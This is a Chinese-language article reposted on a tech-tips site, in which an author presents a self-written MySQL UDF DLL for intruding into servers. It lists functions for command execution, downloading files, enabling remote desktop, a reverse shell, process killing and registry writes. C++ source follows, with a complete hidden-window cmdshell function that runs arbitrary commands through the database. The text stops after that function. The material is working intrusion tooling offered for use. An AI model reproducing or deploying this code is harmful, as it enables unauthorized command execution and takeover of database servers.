首页 电脑 电脑学堂 查看内容

打造全功能MYSQL入侵UDF

2010-3-16 14:39 501 0

摘要:     现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函...
关键词: nbsp 函数 initid char ARGS ptr mysql 数名 UDF return

    现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉。my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。     MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:     extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)     {     //在open3389函数之前调用,一般用于初始化工作,为可选函数;     //return 1出错 ,0 正常     return 0;     }     extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)     {     //真正实现功能的函数,必需函数;     /*     函数内容;     return 结果;     */     }     extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)     {     //在open3389函数之后调用,一般用于内存释放,可选函数;     }     以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。     在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。     以下是我写的UDF内容,它包含10个函数:     cmdshell 执行cmd;     downloader 下载者,到网上下载指定文件并保存到指定目录;     open3389 通用开3389终端服务,可指定端口(不改端口无需重启);     backshell 反弹Shell;     ProcessView 枚举系统进程;     KillProcess 终止指定进程;     regread 读注册表;     regwrite 写注册表;     shut 关机,注销,重启;     about 说明与帮助函数;     使用方法:     创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);     删除函数:delete function 函数名;     使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");     以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能,如发现bug可通知我,QQ:185826531(langouster)     //--------------------------------------------------------------------------源程序     // MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。     #include "stdafx.h"     #include "stdio.h"     #include <windows.h>     #include <tlhelp32.h>     #include <stdlib.h>     #include <winsock.h>     #include <Urlmon.h>     #include "mysql.h"     #include "resource.h"     #pragma comment(lib, "Urlmon.lib")     HANDLE g_module;     //--------------------------------------------------------------------------------------------------------------------------     BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)     {     if(ul_reason_for_call==DLL_PROCESS_ATTACH)     g_module=hModule;     return TRUE;     }     //--------------------------------------------------------------------------------------------------------------------------cmdshell     extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)     {//return 1出错 ,0 正常     initid->max_length=65*1024*1024;     return 0;     }     extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)     {     if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)     {     initid->ptr=(char *)malloc(200);     if(initid->ptr==NULL)return NULL;     strcpy(initid->ptr,"执行CMD Shell函数. 例:select cmdshell(\"dir c:\\\\\"); 参数中的\"\\\"要用\"\\\\\"代替.");     *length=strlen(initid->ptr);     return initid->ptr;     }     int RunStatus=0;     char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];     DWORD size=0,len;     HANDLE hFile;     GetSystemDirectory(ShellPath,MAX_PATH-1);     strcat(ShellPath,"\\cmd.EⅩE");     GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);     strcat(TempFilePath,"\\2351213.tmp");     cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);     strcpy(cmdline," /c ");     strcat(cmdline,(args->args)[0]);     strcat(cmdline,">");     strcat(cmdline,TempFilePath);     STARTUPINFO si;     PROCESS_INFORMATION pi;     ZeroMemory( &si, sizeof(si) );     si.wShowWindow=SW_HIDE;     si.cb = sizeof(si);     ZeroMemory( &pi, sizeof(pi) );     RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);     free(cmdline);     if(!RunStatus)     {     itoa(GetLastError(),temp,10);     sprintf(temp,"Shell无法启动,GetLastError=%s ",temp);     initid->ptr=(char *)malloc(strlen(temp)+1);     strcpy(initid->ptr,temp);     (*length)=strlen(initid->ptr);     return initid->ptr;     }     WaitForSingleObject(pi.hProcess,30000);     //获得结果     hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);     if(hFile!=INVALID_HANDLE_VALUE)     {     size=GetFileSize(hFile,NULL);     initid->ptr=(char *)malloc(size+100);     ReadFile(hFile,initid->ptr,size+1,&len,NULL);     (initid->ptr)[size]='\0';     strcat(initid->ptr," --------------------------------------------完成! ");     CloseHandle(hFile);     DeleteFile(TempFilePath);     }     else     {     initid->ptr=(char *)malloc(100);     strcpy(initid->ptr," --------------------------------------------完成! ");     }     (*length)=strlen(initid->ptr);     return initid->ptr;     }     extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)     {     if(initid->ptr!=NULL)     free(initid->ptr);     }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部